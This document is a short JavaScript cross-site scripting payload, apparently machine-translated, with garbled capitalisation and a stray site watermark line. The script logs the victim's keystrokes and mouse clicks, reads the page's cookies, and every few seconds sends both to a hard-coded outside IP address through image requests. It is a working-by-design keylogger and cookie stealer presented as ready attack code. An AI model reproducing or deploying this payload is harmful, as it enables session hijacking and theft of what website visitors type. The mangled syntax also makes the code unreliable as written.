Var keys = ''; // store keyboard and mouse records
Var hacker = 'HTTP: // 218.6.132.15: 8080/xss. php ';
Var Url = window. location;
Var Domain = document. domain;
Var Cookie = document. cookie;
Document. onkeypress = function (e) {// hijack the Keyboard Message
Get = window. event? Event: e;
Key = get. keyCode? Get. keyCode: get. charCode;
Switch (key ){
Case 32: key = '[Space]'; break;
Case 13: key = '[Enter]'; break;
Case 8: key = '[BackSpace]'; break;
Default:
Key = String. fromCharCode (key );
Keys + = key;
}
}
Www.2cto.com
Window. onload = function () {// send a cookie after loading the window
SetInterval (function (){
Var Cookie_t = document. cookie;
If (Cookie_t! = Cookie ){
Cookie = Cookie_t;
}
SendData (hacker + '? M = c & c = '+ Cookie );
}, 2000); // checks the cookie every 2 seconds. If the cookie changes, resend it.
}
Document. onmousedown = function (e ){
Get = window. event? Event: e; // create an event object
Var mousekey = get. button; // get the mouse key code
Switch (mousekey) {// 1 left mouse button 2 right mouse button 4 scroll key
Case 1:
Mousekey = '[Left Mouse Clik]'; break;
Case 2:
Mousekey = '[Right Mouse Clik]'; break;
Case 4:
Mousekey = '[Roll Mouse Clik]'; break;
Default:
Mousekey = '[Unknown Mouse Key]';
}
Keys + = mousekey;
}
Function SendData (src ){
New Image (). src = src; // create an Image object for transmitting data
}
SetInterval (function () {SendData (hacker + '? M = k & c = '+ keys); keys = '';}, 5000); // send a keyboard record every five seconds to initialize the variable